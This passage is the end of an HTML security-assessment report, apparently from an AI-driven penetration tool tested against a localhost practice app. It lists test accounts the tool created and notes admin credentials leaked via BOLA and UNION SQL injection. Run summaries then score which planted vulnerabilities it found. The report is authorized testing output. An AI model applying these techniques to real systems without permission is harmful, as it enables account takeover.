Decoded token payload: {"id":2,"username":"alice","role":"admin",...}. A standard customer's API token carries role:admin.</pre></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 22. Test accounts created during the engagement (DELETE after) <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A04:2021-Insecure-Design</td><td class=fk>Confidence</td><td>conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000</td></tr><tr><td class=fk>Agent</td><td>account_registration_and_forms</td><td class=fk>Auth context</td><td>n/a · 9 test account(s)</td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns this class</div><h4>Where the problem is</h4><p class=where>http://localhost:3000</p><h4>What it means</h4><p>Observed:
- attack GET http://localhost:3000 → 200 (1115 bytes) [E01]
- 9 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). [E02]
- • nrsplt_4095@example.test [customer] — created via curl POST /register username/email/password (also probed role=admin,isAdmin massassign) [E03]
- • nrsplt_a29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=76 [E04]
- • nrsplt_b29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=77 [E05]
- • nrsplt_31817@example.test [customer] — created via auto-registered by PoC script during proof run [E06]
- • nrsplt_29092@example.test [customer] — created via auto-registered by PoC script during proof run [E07]
- • nrsplt_21339@example.test [customer] — created via auto-registered by PoC script during proof run [E08]
- • admin (EXISTING - not created) [admin] — created via leaked via BOLA /api/v2/users/1 and UNION SQLi; logged in to confirm [E09]
- • nrsplt_A_21463@example.test [customer] — created via curl POST username/email/password; id=78 [E10]
- • nrsplt_B_21463@example.test [customer] — created via curl POST username/email/password; id=79 [E11]
Not demonstrated: Operational cleanup: remove these accounts once testing is complete.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders.
Potential impact: Operational cleanup: remove these accounts once testing is complete.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders.</p><h4>How to fix it</h4><p>Delete the listed test accounts; rotate anything they touched.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s \
'http://localhost:3000'</pre></li></ol><h4>Technical evidence</h4><pre>ATTACK
GET http://localhost:3000 → 200
body (1115 bytes, excerpt):
9 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
• nrsplt_4095@example.test [customer] — created via curl POST /register username/email/password (also probed role=admin,isAdmin massassign)
• nrsplt_a29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=76
• nrsplt_b29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=77
• nrsplt_31817@example.test [customer] — created via auto-registered by PoC script during proof run
• nrsplt_29092@example.test [customer] — created via auto-registered by PoC script during proof run
• nrsplt_21339@example.test [customer] — created via auto-registered by PoC script during proof run
• admin (EXISTING - not created) [admin] — created via leaked via BOLA /api/v2/users/1 and UNION SQLi; logged in to confirm
• nrsplt_A_21463@example.test [customer] — created via curl POST username/email/password; id=78
• nrsplt_B_21463@example.test [customer] — created via curl POST username/email/password; id=79
AGENT-RECORDED EVIDENCE
9 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
• nrsplt_4095@example.test [customer] — created via curl POST /register username/email/password (also probed role=admin,isAdmin massassign)
• nrsplt_a29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=76
• nrsplt_b29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=77
• nrsplt_31817@example.test [customer] — created via auto-registered by PoC script during proof run
• nrsplt_29092@example.test [customer] — created via auto-registered by PoC script during proof run
• nrsplt_21339@example.test [customer] — created via auto-registered by PoC script during proof run
• admin (EXISTING - not created) [admin] — created via leaked via BOLA /api/v2/users/1 and UNION SQLi; logged in to confirm
• nrsplt_A_21463@example.test [customer] — created via curl POST username/email/password; id=78
• nrsplt_B_21463@example.test [customer] — created via curl POST username/email/password; id=79</pre></section><p class=footer>Authorized testing only. Confirmed findings passed multi-model voting, receipt grounding and adversarial refute; "needs-review" are flagged for a human.<br>NeuroSploit v4.1.0 · by <b>Joas A Santos</b> &amp; <b>Red Team Leaders</b><br><span style="font-family:ui-monospace,monospace">JOASNSCOPE-4171e1cb7a4c-ns-1789937421-localhost_3000</span></p></body></html>
@@ -1,4 +1,11 @@
== runs/ns-1789937421-localhost_3000 ==
findings reported : 22
targets hit : 8/13 (recall 0.615)
hit : api_bola_orders, web_crlf_header_go, web_idor_invoice, web_sqli_blind_time, web_sqli_login_bypass, web_sqli_second_order, web_sqli_union_search, web_xss_reflected_search
missed : web_open_redirect_login, web_sqli_blind_boolean, web_xss_dom_redirect, web_xss_stored_review, web_xss_svg_upload
extra findings : 14
== runs/ns-1789919119-localhost_3000 ==
findings reported : 22
targets hit : 7/13 (recall 0.538)